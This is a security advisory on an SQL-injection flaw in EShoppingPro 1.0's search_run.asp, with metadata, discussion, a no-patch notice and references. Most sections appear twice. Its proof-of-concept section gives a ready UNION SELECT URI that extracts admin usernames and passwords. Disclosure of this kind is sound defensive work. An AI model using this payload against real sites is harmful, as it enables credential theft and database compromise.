EShoppingPro Search_Run.ASP SQL Injection Vulnerability
BID:20089
CVE-2006-4871 |Info
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
| Bugtraq ID: | 20089 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 18 2006 12:00AM |
| Updated: | Sep 19 2006 10:41PM |
| Credit: | Ajann has been credited with the discovery of this vulnerability. |
| Vulnerable: |
Keyvan1 EShoppingPro 1.0 |
| Not Vulnerable: | |
Discussion
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
EShoppingPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.
EShoppingPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.
Exploit / POC
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[path]/search_run.asp?keyword=-1&category=-1&order='%20union%20select%200,0,0,Username,Password,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin&x=-1&y=-1
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[path]/search_run.asp?keyword=-1&category=-1&order='%20union%20select%200,0,0,Username,Password,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin&x=-1&y=-1
Solution / Fix
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
EShoppingPro Search_Run.ASP SQL Injection Vulnerability
References:
References:
- EShopping Pro Homepage (Keyvan1.com)
- EShoppingPro v1.0(search_run.asp) Remote SQL Injection Vulnerability (Ajann)